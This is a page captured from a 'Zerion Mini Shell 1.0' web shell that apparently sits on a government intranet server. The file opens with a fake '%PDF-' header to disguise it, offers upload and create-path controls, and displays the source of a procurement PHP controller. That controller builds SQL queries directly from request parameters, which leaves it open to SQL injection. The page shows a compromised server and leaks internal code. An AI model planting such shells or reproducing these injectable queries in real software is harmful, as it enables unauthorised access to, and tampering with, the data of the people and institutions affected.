%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/compras/controller/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/compras/controller/agregar_ent_req.php

<?php
session_start();
include "../../../config/config.php";

$_SESSION['expire'] = time() + (120 * 60);


$id_requisicion      =  isset($_REQUEST['id_requisicion']) ? $_REQUEST['id_requisicion'] : 0;
$id_articulos		 =	isset($_REQUEST['id_articulo']) ? $_REQUEST['id_articulo'] : -1;
$cantidad_entregada	 =	isset($_REQUEST['cantidad_entregada']) ? $_REQUEST['cantidad_entregada'] : 0;
$id_usuario          =   $_SESSION['id_usuario'];


    $con = new Configuracion();
    $con->conectarBD();
    $sqlupdate = "UPDATE compras_requisiciones SET id_estatus = 2 WHERE id_requisicion = $id_requisicion";
    $con->actualizacion($sqlupdate);
    
     $sqlArea = "SELECT id_area FROM compras_requisiciones WHERE id_requisicion = $id_requisicion";
     $rArea = $con->consulta($sqlArea); 
     $id_area = $rArea[0]['id_area'];                
                    
    
    $sqlins = "INSERT INTO compras_entrega (id_requisicion) VALUES ($id_requisicion)";
    $id_entrega = $con->ultimo_id($sqlins);

                
            for($i=0; $i < count($id_articulos); $i++)
            {
                
                $id_articulo = $id_articulos[$i];
                $cantidad_ent = $cantidad_entregada[$i];
                
                $sqlupdate = "UPDATE compras_papeleria SET existencia = existencia - $cantidad_ent WHERE id_articulo = $id_articulo";
                $con->actualizacion($sqlupdate);
                
                for($j=0; $j<$cantidad_ent; $j++)
                {
                    $sqlExistencia = "SELECT id_existencia FROM compras_papeleria_existencia 
                                        WHERE id_articulo = $id_articulo AND existencia_actual > 0  LIMIT 1";
                    $resp1 = $con->consulta($sqlExistencia);           
                    
                    $id_existencia = $resp1[0]['id_existencia'];
                    
                    $sqlupdate = "UPDATE compras_papeleria_existencia SET existencia_actual = existencia_actual - 1 WHERE id_existencia = $id_existencia";
                    $con->actualizacion($sqlupdate);
                    
                    $sqlins = "INSERT INTO compras_entrega_rel_req(id_requisicion,id_articulo,id_existencia,cantidad,id_entrega,id_beneficiario) VALUES ($id_requisicion,$id_articulo,$id_existencia,1,$id_entrega,$id_area)";
                    $con->actualizacion($sqlins);
                }
                                
            }

            include '../pdfentrega.php';
            echo"<script language='javascript'>window.location='../page_find_requisicion_entrega.php?app=1&id_entrega=$id_entrega'</script>;";
            header("Location: ../page_find_requisicion_entrega.php?app=1&id_entrega=$id_entrega");
            exit();
?>

Zerion Mini Shell 1.0